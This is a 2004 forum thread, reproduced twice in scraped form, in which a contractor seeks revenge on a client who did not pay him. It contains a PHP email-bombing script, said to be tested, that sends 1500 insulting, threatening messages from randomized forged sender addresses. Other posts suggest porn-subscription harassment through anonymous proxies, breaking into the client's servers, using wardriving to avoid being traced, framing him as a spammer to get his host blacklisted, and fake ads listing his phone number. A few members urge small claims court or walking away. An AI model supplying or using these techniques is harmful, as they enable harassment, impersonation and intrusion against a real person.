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neutone · 10-13-2004, 11:20 AM

I was recently screwed by a foreign client, I did work for the guy and he hasn't paid for the work. I would like to get revenge. I realise it's not very moral, but I don't care. Any suggestions on how to get him onto an endless supply of spam?

Appreciate any advice.

Dark Assailant · 10-13-2004, 11:24 AM

LOL, you know that you'll be the one to end up with a criminal charge.

How much money are we talking about ??? (approx.)

kebo · 10-13-2004, 12:52 PM

Jus thinking outloud here......if someone legitimately owes you money, is it considered spamming if you simply ask him for it........1000 times a day?
Also is it illeagle to have a 500kB signature file that accompanies each email?
Also is it illeagle to have 50 different email address each with a 500kB signature file to request payment from 1000 times daily?
just a thought.
kevin

zero2 · 10-14-2004, 07:17 AM

If you really want to get this guy good, sign him up for a lot of free porno to gay websites, trannies, and other disgusting websites. You can also sign him up for dating services or matchmaking services, pharmaceutical drugs such as viagra, sites that send naughty pictures to your inbox.

The one thing that I noticed what they are doing now is recording your ip address, and when they send you email, they actually will say, in the email that 196.xxx.xxx.xx has signed up for our services, so make sure to use a high anonymity or anonymous proxy if you intend on doing this.

Rawb · 10-15-2004, 09:15 PM

My recommendation, one of two options:

1. Walk away. Seriously, any time you do contract work, you are gonna get stiffed sooner or later. It's part of the deal, sometimes even with a very clear specification, they still won't accept the project, no matter what you do.

2. Take them to small claims court. If you have any documentation about the project, even if you don't, you can go to small claims court and probably get your money out of them. Sometimes a summons is all it takes, other times you have to go to court, but the filing fee is $25, and in most states, it is highly frowned upon to use lawers in small claims court.

I would recommend highly against doing what you are suggesting, because it can be considered harassment, and that is not legal. Secondly, it will reduce your chances of collecting to nil.

Just some ramblings, hope it helps.

neutone · 10-15-2004, 11:52 PM

Thanks for the advice. The amount is about $500 so I can survive without it but I was so screwed over. The guy is in Bahrain so there's really now small claims court gonna happen from where I am. It seems the proxied porn subscription route is the way. I bet I'm gonna know a whole lot more about how to become a transvestite and enlarging penis size by the end of the day. Luckily I'm the boss so there's nobody to bust me visiting dubious sites. Cheers anyway.

limey · 10-18-2004, 02:50 PM

I am really interested to know what you end up doing and how this turns out. I am really amused at the thought of some guy, who thinks he can get away with this stuff, recieving endless amouts of porn spam. I guess I am just a reality TV nutjob but I am really intrigued. A follow up post would be great, if you have time.

Herk · 10-18-2004, 05:25 PM

Quote:

Originally Posted by kebo

Jus thinking outloud here......if someone legitimately owes you money, is it considered spamming if you simply ask him for it........1000 times a day?
Also is it illeagle to have a 500kB signature file that accompanies each email?
Also is it illeagle to have 50 different email address each with a 500kB signature file to request payment from 1000 times daily?
just a thought.
kevin

This is good stuff. I think you are right. You could have a php script do this.
I threw this together. Don't know if it is exactly what you want, but hey, it might be fun to play with. And it randomized the from addresses.

PHP Code:


			
<?

function spam_mail($to, $subject, $message, $mailnum) {

  global $numon;

$message2 = "

<html>

<head>

<title>".$subject."</title>

</head>

<body>

<p>

".$message."

</p>

</body>

</html>

";

  $headers  = "MIME-Version: 1.0\r\n";

  $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";

  $headers .= "From: ThePersonWhoWantsYourMoney <".$from.">\r\n";

  if (empty($to)) {

    return;

  } else {

    for ($i = 1; $i <= $mailnum; $i++) {

      srand(microtime() * 1000000000000);

      for($i2 = 0; $i2 < 2; $i2++) {

        $from_rnd = array_merge(range('a','z'), range('A','Z'), range(0,9));

        $rnd = array_rand($from_rnd, 5);

        $from_temp[$i2] = "";

        for($i3=0;$i3<=4;$i3++){

          $from_temp[$i2] .= $from_rnd[$rnd[$i3]];

        }

      }

      $from = $from_temp[0]."@".$from_temp[1].".com";

      $subject = $numon."-".$i;

      mail($to, $subject, $message2, $headers);

    }

  }

}



$message = "

Hello Mother Fucker,<br>

<br>

Give me my money you no good piece of shit. If you don't I'll (insert random bad things here)<br>

<br>

Your New Biggest Enemy,<br>

Me

";



$sendsperscript = 50;

$repeatnum = 30;

if (!isset($numon)) {

  $numon = 1;

} else {

  $numon = $_GET["numon"];

}



spam_mail("thatpunk@his-email.com", "", $message, $sendsperscript);



if ($numon < $repeatnum) {

  $numon++;

  header ("location:".$PHP_SELF."?numon=".$numon."");

}



?>

This would send 1500 emails to the same address, all from 1500 randomized different return addresses. lol
At least, it should. I haven't tested it.

Herk

Herk · 10-18-2004, 05:32 PM

The reason I said it was untested was because in the process of testing it I accidentally got it stuck in a loop, and deleting the script wouldn't even stop it. lol

My webhost had to restart the server, crashing everybody else's sites too. I felt terrible, and I recieved about 12000 emails in the time it took me to get it resolved.

Anyways, now it is corrected, tested and the script above works perfectly.

Enjoy.

Herk

mrdarcy · 10-24-2004, 07:02 PM

Quote:

Originally Posted by Herk

Anyways, now it is corrected, tested and the script above works perfectly.

Enjoy.

Herk

But it's still wrong.

neutone · 10-25-2004, 05:47 AM

HA HA HA, great, thanks Herk! I'll let you know if it works!!!
Yhanks a million, he he.

bendsley · 10-25-2004, 06:12 AM

Even if it randomizes the sender's address, the MIME headers will not change from the originating server. It will show sending server, user account, etc. This is not a good idea.

I would stick with what aoeuhtns said.

theFez · 10-25-2004, 08:30 AM

the only way you have a remote chance of success with this is to have a mail server running on your box and use anonymous wifi hotspots. that will at least change some of the info and make it harder for anyone to trace it back to you.

You have to find poorly managed wifi hotspots too because most likely a well managed one will have pop relaying diabled, specifically to prevent this kind of thing.

the porn subscriptions is a good idea though.

sailor · 10-25-2004, 10:47 AM

I would stick with not being childish. It sucks, get over it.

Herk · 10-26-2004, 02:07 AM

Okay, just a fun little script. I reallize that it would still originate at your server, but I just wrote it for fun. Surely it isn't the best way to handle the situation.

Herk

FatherTed · 10-26-2004, 02:12 AM

If you are going to do it, just do it through a highstreet internet cafe - anonimity guaranteed !

cod3r · 10-28-2004, 04:04 AM

Umm... Neutone, what is wrong with the power of the people?
Just post the guy's phone# on Ebay or in some British newspaper, proclaiming he is selling some British car real cheap. Make the selling price $500 or some number he would recognize from your business dealings so he would realize it was you who did that.

Stompy · 10-28-2004, 11:07 AM

I would scope out his servers. Try to find an exploit... get in and totally just ruin his stuff.

I'm not telling you to do it, just saying that's what I'd do.

By far more effective than email. I'm sure you could easily cover your $500 that way.. and then some.

Wardriving is your friend. Just carry a laptop/PDA with you as you drive around neighborhoods looking for unsecure wireless access points (and believe me, there are a TON).

Fahim · 11-11-2004, 04:52 PM

I do contract work for people over the Net too - I currently have this guy for whom I've done the project according to spec months ago. He would e-mail me and say he's sending me the money and then I don't hear from him for a couple of months. Then he e-mails back and says that he's lost my bank information and to send it to him. I send it and I don't hear from him again for a couple of weeks. Then he e-mails back and says that he'll send the money as soon as he can. This has gone on for several months now. I don't really expect to be paid for this job even though I did quite a bit of work. Unfortunately, that's the way it is when you do work for people over the Net. I don't see the point in wasting more time trying to get them back when I could be doing other work which would bring in some money. And posting means to spam people here on the fourms might lead to other not so scrupulous people using the techniques to other ends. That's my two cents

trache · 11-12-2004, 01:02 AM

If, for example, you do web work for someone:

If you control the FTP area of your employer, you could put up an image (randomly?) or text that tells any end users that pop by that you haven't been paid and until you have, that's what they will see. Politely (if you want!).

This way, they will view the website, see the message, and your employer will then have tomato on his face (so to speak). Tell him that you won't take it down until the contract terms have been met.

WillyPete · 11-12-2004, 05:23 AM

Do you still have access to the person's site and the code you submitted?

Do you have any server details you can post here?

irseg · 11-17-2004, 10:03 PM

Send him spam? Nah. You can do more damage by doing the exact opposite.

Does the guy run a website? Use harvester software to grab a bunch of e-mail addresses, open a Hotmail account, and make up a spam message advertising his site and anything he sells on it.

Next, report it to SpamCop, SPEWS, SpamHaus, etc (plus other people surely will as well). They are a bunch of fanatical assholes who will likely overreact and block his entire upstream provider from sending e-mail to people who use those blacklists. They'll drop his account in a heartbeat in order to get un-blacklisted, and he'll be down and scrambling to find a new host. That'll likely cost him more than $500.

Redlemon · 11-18-2004, 06:39 AM

Quote:

Originally Posted by irseg

Send him spam? Nah. You can do more damage by doing the exact opposite.

Does the guy run a website? Use harvester software to grab a bunch of e-mail addresses, open a Hotmail account, and make up a spam message advertising his site and anything he sells on it.

Next, report it to SpamCop, SPEWS, SpamHaus, etc (plus other people surely will as well). They are a bunch of fanatical assholes who will likely overreact and block his entire upstream provider from sending e-mail to people who use those blacklists. They'll drop his account in a heartbeat in order to get un-blacklisted, and he'll be down and scrambling to find a new host. That'll likely cost him more than $500.

I don't think that committing fraud is going to be good for his karma.

Charlatan · 11-18-2004, 08:36 AM

[QUOTE=aoeuhtns]My recommendation, one of two options:

1. Walk away. Seriously, any time you do contract work, you are gonna get stiffed sooner or later. It's part of the deal, sometimes even with a very clear specification, they still won't accept the project, no matter what you do.

[QUOTE]

Best advice so far...

Move on and don't look back. It's only $500.

Stompy · 11-18-2004, 09:33 AM

Quote:

Originally Posted by redlemon

I don't think that committing fraud is going to be good for his karma.

That's assuming karma exists or that he even believes in it.

I personally don't believe in it, so I'd have no probs w/ that

Quote:

Move on and don't look back. It's only $500.

ONLY $500?! Haha... I make a pretty decent amount, and $500 to me is still a lot of money...

kutulu · 11-18-2004, 10:07 AM

I wouldn't do anything remotely illegal, it isn't good for the reputation of your business. I think spamming him, sending 1500 emails/day @ about 500kb/email for about a month would be the best thing to do. After the first day, call him by phone.

I'd also publish as much dirt on him company as possible.

avhg1 · 11-18-2004, 10:35 AM

This is why all my contracts are a percentage up front with payments a various project milestones. That way no one ends up really screwed. As for follow up on non-payment, publish in as many places as you can the facts of your situation. Where did you find this client?

Slavakion · 11-18-2004, 11:56 AM

I don't know a whole lot about this, but I were to spam him, I'd do the following.

Set up an SMTP server on my box. This will allow relaying of messages. It might also disguise the originating IP as 127.0.0.1 (MAYBE...)
Get an email bombing client (check Astalavista.com, I'd direct link it, but I'm sure mods wouldn't be happy).
Get a proxifying program.
Launch it.

Alternatively, you could get one of those anonymous email proggies like Quicksilver. They route your message through x number of anonymous servers to make sure it can't be traced. I don't know if you can batch-send them, but somebody could work out a script I guess.

But of course this is wrong.

10-13-2004, 11:20 AM	#1 (permalink)
neutone Tilted	email revenge I was recently screwed by a foreign client, I did work for the guy and he hasn't paid for the work. I would like to get revenge. I realise it's not very moral, but I don't care. Any suggestions on how to get him onto an endless supply of spam? Appreciate any advice.

10-13-2004, 11:24 AM	#2 (permalink)
Dark Assailant Tilted Location: Moncton, New Brunswick, Canada	LOL, you know that you'll be the one to end up with a criminal charge. How much money are we talking about ??? (approx.) __________________ ·´¯`·-> Ðark Åssailant<-·´¯`·

10-18-2004, 05:32 PM	#9 (permalink)
Herk Insane Location: Kansas City, MO	The reason I said it was untested was because in the process of testing it I accidentally got it stuck in a loop, and deleting the script wouldn't even stop it. lol My webhost had to restart the server, crashing everybody else's sites too. I felt terrible, and I recieved about 12000 emails in the time it took me to get it resolved. Anyways, now it is corrected, tested and the script above works perfectly. Enjoy. Herk __________________ -Blind faith runs into things!-

10-25-2004, 06:12 AM	#12 (permalink)
bendsley Professional Loafer Location: texas	Even if it randomizes the sender's address, the MIME headers will not change from the originating server. It will show sending server, user account, etc. This is not a good idea. I would stick with what aoeuhtns said. __________________ "You hear the one about the fella who died, went to the pearly gates? St. Peter let him in. Sees a guy in a suit making a closing argument. Says, "Who's that?" St. Peter says, "Oh, that's God. Thinks he's Denny Crane."

10-25-2004, 08:30 AM	#13 (permalink)
theFez Crazy Location: here and there	the only way you have a remote chance of success with this is to have a mail server running on your box and use anonymous wifi hotspots. that will at least change some of the info and make it harder for anyone to trace it back to you. You have to find poorly managed wifi hotspots too because most likely a well managed one will have pop relaying diabled, specifically to prevent this kind of thing. the porn subscriptions is a good idea though. __________________ # chmod 111 /bin/Laden

10-13-2004, 12:52 PM	#3 (permalink)
kebo Tilted Location: reno,nv	Jus thinking outloud here......if someone legitimately owes you money, is it considered spamming if you simply ask him for it........1000 times a day? Also is it illeagle to have a 500kB signature file that accompanies each email? Also is it illeagle to have 50 different email address each with a 500kB signature file to request payment from 1000 times daily? just a thought. kevin

10-14-2004, 07:17 AM	#4 (permalink)
zero2 Junkie	If you really want to get this guy good, sign him up for a lot of free porno to gay websites, trannies, and other disgusting websites. You can also sign him up for dating services or matchmaking services, pharmaceutical drugs such as viagra, sites that send naughty pictures to your inbox. The one thing that I noticed what they are doing now is recording your ip address, and when they send you email, they actually will say, in the email that 196.xxx.xxx.xx has signed up for our services, so make sure to use a high anonymity or anonymous proxy if you intend on doing this.

10-15-2004, 09:15 PM	#5 (permalink)
Rawb Crazy Location: Salt Town, UT	My recommendation, one of two options: 1. Walk away. Seriously, any time you do contract work, you are gonna get stiffed sooner or later. It's part of the deal, sometimes even with a very clear specification, they still won't accept the project, no matter what you do. 2. Take them to small claims court. If you have any documentation about the project, even if you don't, you can go to small claims court and probably get your money out of them. Sometimes a summons is all it takes, other times you have to go to court, but the filing fee is $25, and in most states, it is highly frowned upon to use lawers in small claims court. I would recommend highly against doing what you are suggesting, because it can be considered harassment, and that is not legal. Secondly, it will reduce your chances of collecting to nil. Just some ramblings, hope it helps.

10-15-2004, 11:52 PM	#6 (permalink)
neutone Tilted	Thanks for the advice. The amount is about $500 so I can survive without it but I was so screwed over. The guy is in Bahrain so there's really now small claims court gonna happen from where I am. It seems the proxied porn subscription route is the way. I bet I'm gonna know a whole lot more about how to become a transvestite and enlarging penis size by the end of the day. Luckily I'm the boss so there's nobody to bust me visiting dubious sites. Cheers anyway.

10-18-2004, 02:50 PM	#7 (permalink)
limey Insane Location: not there	I am really interested to know what you end up doing and how this turns out. I am really amused at the thought of some guy, who thinks he can get away with this stuff, recieving endless amouts of porn spam. I guess I am just a reality TV nutjob but I am really intrigued. A follow up post would be great, if you have time.

10-25-2004, 05:47 AM	#11 (permalink)
neutone Tilted	HA HA HA, great, thanks Herk! I'll let you know if it works!!! Yhanks a million, he he.

10-25-2004, 10:47 AM	#14 (permalink)
sailor beauty in the breakdown Location: Chapel Hill, NC	I would stick with not being childish. It sucks, get over it. __________________ "Good people do not need laws to tell them to act responsibly, while bad people will find a way around the laws." --Plato

10-26-2004, 02:07 AM	#15 (permalink)
Herk Insane Location: Kansas City, MO	Okay, just a fun little script. I reallize that it would still originate at your server, but I just wrote it for fun. Surely it isn't the best way to handle the situation. Herk __________________ -Blind faith runs into things!-

10-26-2004, 02:12 AM	#16 (permalink)
FatherTed Crazy Location: Ireland	If you are going to do it, just do it through a highstreet internet cafe - anonimity guaranteed !

10-28-2004, 04:04 AM	#17 (permalink)
cod3r Upright	Umm... Neutone, what is wrong with the power of the people? Just post the guy's phone# on Ebay or in some British newspaper, proclaiming he is selling some British car real cheap. Make the selling price $500 or some number he would recognize from your business dealings so he would realize it was you who did that.

10-28-2004, 11:07 AM	#18 (permalink)
Stompy Banned from being Banned Location: Donkey	I would scope out his servers. Try to find an exploit... get in and totally just ruin his stuff. I'm not telling you to do it, just saying that's what I'd do. By far more effective than email. I'm sure you could easily cover your $500 that way.. and then some. Wardriving is your friend. Just carry a laptop/PDA with you as you drive around neighborhoods looking for unsecure wireless access points (and believe me, there are a TON). __________________ I love lamp.

11-11-2004, 04:52 PM	#19 (permalink)
Fahim Upright	I do contract work for people over the Net too - I currently have this guy for whom I've done the project according to spec months ago. He would e-mail me and say he's sending me the money and then I don't hear from him for a couple of months. Then he e-mails back and says that he's lost my bank information and to send it to him. I send it and I don't hear from him again for a couple of weeks. Then he e-mails back and says that he'll send the money as soon as he can. This has gone on for several months now. I don't really expect to be paid for this job even though I did quite a bit of work. Unfortunately, that's the way it is when you do work for people over the Net. I don't see the point in wasting more time trying to get them back when I could be doing other work which would bring in some money. And posting means to spam people here on the fourms might lead to other not so scrupulous people using the techniques to other ends. That's my two cents

11-12-2004, 01:02 AM	#20 (permalink)
trache Insane	If, for example, you do web work for someone: If you control the FTP area of your employer, you could put up an image (randomly?) or text that tells any end users that pop by that you haven't been paid and until you have, that's what they will see. Politely (if you want!). This way, they will view the website, see the message, and your employer will then have tomato on his face (so to speak). Tell him that you won't take it down until the contract terms have been met. __________________ "You looked at me as if I was eating runny eggs in slow motion." - Gord Downie of The Tragically Hip

11-12-2004, 05:23 AM	#21 (permalink)
WillyPete Addict	Do you still have access to the person's site and the code you submitted? Do you have any server details you can post here?

11-17-2004, 10:03 PM	#22 (permalink)
irseg Junkie Location: Florida	Send him spam? Nah. You can do more damage by doing the exact opposite. Does the guy run a website? Use harvester software to grab a bunch of e-mail addresses, open a Hotmail account, and make up a spam message advertising his site and anything he sells on it. Next, report it to SpamCop, SPEWS, SpamHaus, etc (plus other people surely will as well). They are a bunch of fanatical assholes who will likely overreact and block his entire upstream provider from sending e-mail to people who use those blacklists. They'll drop his account in a heartbeat in order to get un-blacklisted, and he'll be down and scrambling to find a new host. That'll likely cost him more than $500.

11-18-2004, 08:36 AM	#24 (permalink)
Charlatan Getting it. Super Moderator Location: Lion City	[QUOTE=aoeuhtns]My recommendation, one of two options: 1. Walk away. Seriously, any time you do contract work, you are gonna get stiffed sooner or later. It's part of the deal, sometimes even with a very clear specification, they still won't accept the project, no matter what you do. [QUOTE] Best advice so far... Move on and don't look back. It's only $500. __________________ "My hands are on fire. Hands are on fire. Ain't got no more time for all you charlatans and liars." - Old Man Luedecke

11-18-2004, 10:07 AM	#26 (permalink)
kutulu Junkie	I wouldn't do anything remotely illegal, it isn't good for the reputation of your business. I think spamming him, sending 1500 emails/day @ about 500kb/email for about a month would be the best thing to do. After the first day, call him by phone. I'd also publish as much dirt on him company as possible.

11-18-2004, 10:35 AM	#27 (permalink)
avhg1 Insane Location: MD	This is why all my contracts are a percentage up front with payments a various project milestones. That way no one ends up really screwed. As for follow up on non-payment, publish in as many places as you can the facts of your situation. Where did you find this client? __________________ I shake the devil's hand daily... I'd do it hourly, but my hand gets tired.

11-18-2004, 11:56 AM	#28 (permalink)
Slavakion Mjollnir Incarnate Location: Lost in thought	I don't know a whole lot about this, but I were to spam him, I'd do the following. Set up an SMTP server on my box. This will allow relaying of messages. It might also disguise the originating IP as 127.0.0.1 (MAYBE...) Get an email bombing client (check Astalavista.com, I'd direct link it, but I'm sure mods wouldn't be happy). Get a proxifying program. Launch it. Alternatively, you could get one of those anonymous email proggies like Quicksilver. They route your message through x number of anonymous servers to make sure it can't be traced. I don't know if you can batch-send them, but somebody could work out a script I guess. But of course this is wrong.